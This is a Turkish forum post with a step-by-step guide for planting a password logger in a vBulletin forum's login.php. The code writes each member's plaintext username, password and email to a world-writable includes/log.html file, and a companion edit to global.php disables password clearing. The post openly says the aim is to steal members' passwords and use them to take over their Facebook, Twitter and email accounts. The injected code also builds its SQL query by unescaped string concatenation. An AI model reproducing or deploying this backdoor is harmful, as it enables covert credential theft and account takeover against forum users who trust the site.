Arkadaşlar Sadice Vbullettin için geçerlidir...Baştan Uyariyim :)
Ne işe yarıcak diyenler olmadan önce ; Sitemize eklediğimiz kod sayesinde kendi üyelererimizin şifrelerine ulaşabilicez..Ve Sonuç olarak ben dahil bir cok kişi Facebook-Twiter-Mail hesaplarını aynı şifreyle koruyo :)
Şimdi Anlatıma Geçiyorum
1. Adım -"Login.php " Açalım ve Aşşağıdaki Kodumuzu Bulalım..
// create new session
process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);
2.Adım - Üstteki kodun hemen alt satırına Alttaki kodu yapıştıralım.
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
// The log will be recorded in this file
$lg_file = "./includes/log.html";
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query))
{
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
$fp1 = @fopen($lg_file, "a+");
@fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n");
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, "w");
foreach($new as $values)
{
@fputs($fp, $values);
}
@fclose($fp);
}
}
3. Adım-"Global.php" Acalım Ve Alttaki Kodu Bulalım
$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;
4. Adım-Üstteki Kodu Alltaki Kod İle Değiştirelim
//$show['nopasswordempty'] = defined('DISABLE_PASSWORD_CLEARING') ? 1 : 0;
5. Adım - "includes/" Kalasörü Açalım ve Boş bi "Log.Html" dosyası Yükleyelim ChMod Ayarını 777 yapalım Artık Sitenize üyeler log.html üzerinden giriş yapıcak ve sizde girenin tek şifresiyle bütün hesaplarını çalacaksınız :)
Yorum Yazdığınız İçin Teşekkür ederiz.